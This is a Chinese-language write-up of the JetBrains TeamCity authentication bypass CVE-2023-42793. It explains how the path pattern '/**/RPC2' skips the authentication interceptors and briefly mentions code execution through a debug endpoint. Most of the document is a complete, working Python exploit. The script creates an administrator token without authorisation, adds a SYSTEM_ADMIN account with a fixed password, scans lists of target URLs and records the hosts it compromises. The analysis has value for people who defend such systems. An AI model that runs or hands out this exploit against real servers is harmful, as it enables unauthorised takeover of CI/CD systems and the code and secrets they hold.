JetBrains TeamCity权限绕过漏洞(CVE-2023-42793)
简介:TeamCity 是一款CICD的解决方案软件。这个漏洞可以进行权限绕过直接创建管理员账号并且登入。其实通过/app/rest/debug/processes?exePath=可以进行任意代码执行的,前提是开启了调试功能,不过这里就不提了。
说一下漏洞成因,这样接下来更有感觉。成因就是路径匹配太宽松导致其中一个方法提前return true而跳过了后面继续进行身份验证的方法,于是可以未授权创建一个token,进而使用这个token去创建一个管理员的账号。
上代码
我们先来看几段代码
第一段RequestInterceptors
public RequestInterceptors(@NotNull List<HandlerInterceptor> paramList) {
this.myInterceptors.addAll(paramList);
this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
this.myPreHandlingDisabled.addPath("/app/agents/**");
}
这里XmlRpcController.getPathSuffix()的结果是/RPC2
第二段requestPreHandlingAllowed
private boolean requestPreHandlingAllowed(HttpServletRequest request) {
String path = WebUtil.getPathWithoutContext(request);
return !myPreHandlingDisabled.matches(path);
}
获取路径,然后匹配,更上面一段呼应this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
也就是说。如果是/**/RPC2这里就return flase
第三段RequestInterceptors.preHandle
public final boolean preHandle(HttpServletRequest request, ...) {
if (!requestPreHandlingAllowed(request)) {
return true; // 直接放行,跳过后续拦截器
}
...
// 正常执行身份验证拦截器
for (HandlerInterceptor interceptor : myInterceptors) {
if (!interceptor.preHandle(request, response, handler)) {
return false;
}
}
return true;
}
这一段代码是权限绕过的典型,如果满足第一个if直接return true,所以如果!requestPreHandlingAllowed(request)是false,那么就return true。而上面说了如果是/**/RPC,那么requestPreHandlingAllowed就return flase。so...
跳过了一堆拦截器
干坏事
那么怎么干坏事呢?找到一个匹配/**/RPC2的地方,并且这个地方能干坏事
于是我们找到这个/app/rest/users/{userLocator}/tokens/{name},这个点是生成token的点,{userLocator}为id:1的时候,就是管理员的token,生成token是不是一般会有身份验证啊?那么{name}的值是RPC2的时候你又该如何应对呢?
ok,于是我们生成了一个token,这个token根据 软件自己的功能,发现他可以进行授权操作,或者其他管理员能干的操作。
poc
直接上创建管理员账号的POC
import random
import requests
import argparse
import xml.etree.ElementTree as ET
Color_Off="\033[0m"
Black="\033[0;30m" # Black
Red="\033[0;31m" # Red
Green="\033[0;32m" # Green
Yellow="\033[0;33m" # Yellow
Blue="\033[0;34m" # Blue
Purple="\033[0;35m" # Purple
Cyan="\033[0;36m" # Cyan
White="\033[0;37m" # White
class CVE_2023_42793:
def __init__(self):
self.url = ""
self.session = requests.session()
def username(self):
name = "H454NSec"
random_id = random.randint(1000, 9999)
return f"{name}{random_id}"
def delete_user_token(self, url):
self.url = url
headers = {
"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip, deflate"
}
try:
response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
if response.status_code == 204 or response.status_code == 404:
self.create_user_token()
except Exception as err:
pass
def create_user_token(self):
headers = {
"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
"Accept-Encoding": "gzip, deflate"
}
try:
response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
if response.status_code == 200:
response_text = response.text
root = ET.fromstring(response_text)
value = root.get('value')
if value.startswith("eyJ0eXAiOiAiVENWMiJ9"):
self.create_user(value)
except Exception as err:
pass
def create_user(self, token):
uname = self.username()
headers = {
"User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
"Accept": "*/*",
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
}
creds = {
"email": "",
"username": uname,
"password": "@H454NSec",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
try:
response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10)
if response.status_code == 200:
print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}")
with open("vulnerable.txt", "a") as o:
o.write(f"[{uname}:@H454NSec] {self.url}\n")
except Exception as err:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='Url of the TeamCity')
parser.add_argument('-l', '--list', help='List of urls')
args = parser.parse_args()
db = []
url_list = args.list
if url_list:
try:
with open(url_list, "r") as fr:
for data in fr.readlines():
db.append(data.strip())
except Exception as err:
print(err)
elif args.url:
db.append(args.url)
cve = CVE_2023_42793()
for ip in db:
url = ip[:-1] if ip.endswith("/") else ip
if not url.startswith("https://"):
if not url.startswith("http://"):
url = f"http://{url}"
cve.delete_user_token(url)
运行脚本,生成账号密码,登陆直接win